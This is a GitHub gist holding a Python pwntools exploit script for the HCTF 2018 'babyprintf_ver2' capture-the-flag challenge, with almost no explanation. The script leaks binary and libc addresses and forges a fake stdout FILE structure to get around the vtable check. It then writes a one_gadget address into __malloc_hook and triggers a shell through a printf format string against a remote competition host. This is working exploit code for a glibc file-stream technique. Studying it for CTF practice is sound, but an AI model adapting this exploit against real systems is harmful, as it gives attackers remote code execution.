Created
November 13, 2018 12:24
-
-
Save hama7230/c32ddf9bfb08c5fa74d8c4077ec64e1b to your computer and use it in GitHub Desktop.
HCTF 2018 baby printf ver2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# context(terminal=['tmux', 'new-window']) # open new window | |
# libc = ELF('') | |
elf = ELF('./babyprintf_ver2') | |
context(os='linux', arch=elf.arch) | |
# context(log_level='debug') # output verbose log | |
RHOST = "150.109.44.250" | |
RPORT = 20005 | |
LHOST = "127.0.0.1" | |
LPORT = 20005 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
conn.sendlineafter('token', 'R4UKcyMU6RpnypSEewwounQDoDWAADeJ') | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./babyprintf_ver2'], gdbscript=gdbscript) | |
else: | |
conn = process(['./babyprintf_ver2']) | |
# conn = process(['./babyprintf_ver2'], env={'LD_PRELOAD': ''}) | |
if opt == 'a': gdb.attach(conn) | |
# exploit | |
log.info('Pwning') | |
conn.recvuntil('fer location to ') | |
bin_base = int(conn.recv(14), 16) - 0x202010 | |
dbg('bin_base') | |
# leak libc address | |
payload = 'x'*0x10 + p64(bin_base+ 0x202030) + 'x'*8 | |
fake = p64(0x00000000fbad2887 ) | |
fake += p64(bin_base + 0x202030 + 0x83) + p64(bin_base + 0x202030 + 0xd8) + p64(bin_base + 0x202030 + 0x83) # read | |
fake += p64(bin_base + 0x202030 + 0xd8) + p64(bin_base + 0x202030 + 0xf0) + p64(bin_base + 0x202030 + 0x83) # write | |
fake += p64(bin_base + 0x202030 + 0x83) + p64(bin_base + 0x202030 + 0x84) # buf | |
fake += p64(0) * 4 | |
fake += p64(0) # chain | |
fake += p64(1) + p64(0xffffffffffffffff) + p32(0) + p32(0) | |
fake += p64(bin_base + 0x202030 + 0x200) | |
fake += p64(0xffffffffffffffff) + p64(0) | |
fake += p64(bin_base +0x202030 + 0x210 ) | |
fake += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 | |
fake += 'z'*8 | |
payload += fake | |
conn.sendline(payload) | |
conn.recvuntil('rewrite vtable is not permitted!\n') | |
libc_base = u64(conn.recv(8)) - 0x3e82a0 | |
dbg('libc_base') | |
# write one_gadget_rce to __malloc_hook | |
malloc_hook = libc_base + 0x3ebc30 | |
payload = 'x'*0x10 + p64(bin_base+ 0x202030) + 'x'*8 | |
fake = p64(0x00000000fbad2084) | |
fake += p64(bin_base + 0x202030 + 0x83) * 3 # read | |
fake += p64(bin_base + 0x202030 + 0x83) * 3 # write | |
fake += p64(malloc_hook) + p64(malloc_hook+0x10) # buf | |
fake += p64(0) * 4 | |
fake += p64(0) # chain | |
fake += p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000) | |
fake += p64(bin_base + 0x202030 + 0x200) | |
fake += p64(0xffffffffffffffff) + p64(0) | |
fake += p64(bin_base +0x202030 + 0x210 ) | |
fake += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 | |
fake += 'z'*8 | |
payload += fake | |
conn.sendline(payload) | |
conn.sendline(p64(libc_base + 0x10a38c)+'x'*2) # one_gadget | |
# now, the payload is written to __malloc_hook. so we have to fix flags and some buffer ptr of fake stdout. | |
payload = 'x'*0x10 + p64(bin_base+ 0x202030) + 'x'*8 | |
fake = p64(0x00000000fbad2887) | |
fake += p64(bin_base + 0x202030 + 0x83) * 3 # read | |
fake += p64(bin_base + 0x202030 + 0x83) * 3 # write | |
fake += p64(bin_base + 0x202030 + 0x83) + p64(bin_base + 0x202030 + 0x84) # buf | |
fake += p64(0) * 4 | |
fake += p64(0) # chain | |
fake += p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000) | |
fake += p64(bin_base + 0x202030 + 0x200) | |
fake += p64(0xffffffffffffffff) + p64(0) | |
fake += p64(bin_base +0x202030 + 0x210 ) | |
fake += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 | |
fake += 'z'*8 | |
payload += fake | |
conn.sendline(payload) | |
# trigger shell by calling malloc in __printf_chk | |
conn.sendline('%1000000c') | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment